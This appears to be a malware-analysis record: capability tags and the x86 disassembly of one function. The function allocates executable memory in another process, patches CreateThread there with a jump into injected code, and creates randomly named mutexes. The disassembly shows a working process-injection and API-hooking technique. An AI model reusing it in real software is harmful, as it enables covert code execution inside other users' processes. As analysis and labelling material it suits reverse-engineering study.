Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
pushal
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [0x40f114], eax
mov ecx, dword [0x40f904]
mov dword [eax], ecx
mov ecx, dword [0x40f90c]
mov dword [eax + 4], ecx
mov dword [0x40f118], 1
push 0x40
push 0x1000
push 0x1000
push 0
push dword [0x40f900]
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
mov dword [0x40f12c], ebx
push str.Kernel32.dll
call sub.kernel32.dll_LoadLibraryA
push str.CreateThread
push eax
call sub.kernel32.dll_GetProcAddress
mov edi, eax
sub ebx, edi
sub ebx, 5
mov dword [0x40b10c], ebx
mov ebx, eax
push 0
push 0x100
push 0x40b008
push ebx
push dword [0x40f900]
call sub.kernel32.dll_ReadProcessMemory
mov esi, 0x40b008
xor ecx, ecx
jmp 0x4010a6
call fcn.00407ad7
add ecx, eax
add esi, eax
cmp ecx, 5
jb 0x40109d
push ecx
push 0
push 0x2e
push 0x40f130
push dword [0x40f12c]
push dword [0x40f900]
call sub.kernel32.dll_WriteProcessMemory
add dword [0x40f12c], 0x2e
pop ecx
push ecx
push 0
push ecx
push 0x40b008
push dword [0x40f12c]
push dword [0x40f900]
call sub.kernel32.dll_WriteProcessMemory
pop ecx
push ecx
push 0
push 1
push section..data
push ebx
push dword [0x40f900]
call sub.kernel32.dll_WriteProcessMemory
inc ebx
push 0
push 4
push 0x40b10c
push ebx
push dword [0x40f900]
call sub.kernel32.dll_WriteProcessMemory
pop ecx
mov eax, edi
add eax, ecx
sub eax, 5
mov ebx, dword [0x40f12c]
add ebx, ecx
sub eax, ebx
mov dword [0x40b10c], eax
push 0
push 1
push section..data
push ebx
push dword [0x40f900]
call sub.kernel32.dll_WriteProcessMemory
inc ebx
push 0
push 4
push 0x40b10c
push ebx
push dword [0x40f900]
call sub.kernel32.dll_WriteProcessMemory
add dword [0x40f12c], 0xd2
push 0
push 8
push 0x40f160
push dword [0x40f12c]
push dword [0x40f900]
call sub.kernel32.dll_WriteProcessMemory
rdtsc
xor eax, 0x64444945
push eax
xor edx, 0x64444945
push edx
mov ebx, 0x40f17c
jmp 0x4011ab
rdtsc
pop ecx
pop edx
ror edx, cl
xor eax, edx
push edx
push ecx
cmp al, 0x5e
jbe 0x4011a8
mov edx, 0x5e
mul edx
mov eax, edx
add byte [ebx], al
inc ebx
cmp byte [ebx], 0
jne 0x401191
push 0x40f17c
push 0
push 0
call sub.kernel32.dll_CreateMutexA
mov dword [0x40f1a0], eax
mov ebx, 0x40f187
jmp 0x4011e4
rdtsc
pop ecx
pop edx
ror edx, cl
xor eax, edx
push edx
push ecx
cmp al, 0x5e
jbe 0x4011e1
mov edx, 0x5e
mul edx
mov eax, edx
add byte [ebx], al
inc ebx
cmp byte [ebx], 0
jne 0x4011ca
push 0x40f187
push 0
push 0
call sub.kernel32.dll_CreateMutexA
mov dword [0x40f1a4], eax
mov ebx, str.
jmp 0x40121d
rdtsc
pop ecx
pop edx
ror edx, cl
xor eax, edx
push edx
push ecx
cmp al, 0x5e
jbe 0x40121a
mov edx, 0x5e
mul edx
mov eax, edx
add byte [ebx], al
inc ebx
cmp byte [ebx], 0
jne 0x401203
add esp, 8
push str.
push 0
push 0
call sub.kernel32.dll_CreateMutexA
mov dword [0x40f1a8], eax
xor ebx, ebx
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [0x40f16c], eax
mov esi, eax
jmp 0x401275
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [eax], 0x10007
mov dword [esi], eax
add esi, 4
inc ebx
cmp ebx, dword [ebp + 8]
jb 0x401256
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [0x40f174], eax
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [0x40f170], eax
popal
leave
ret 4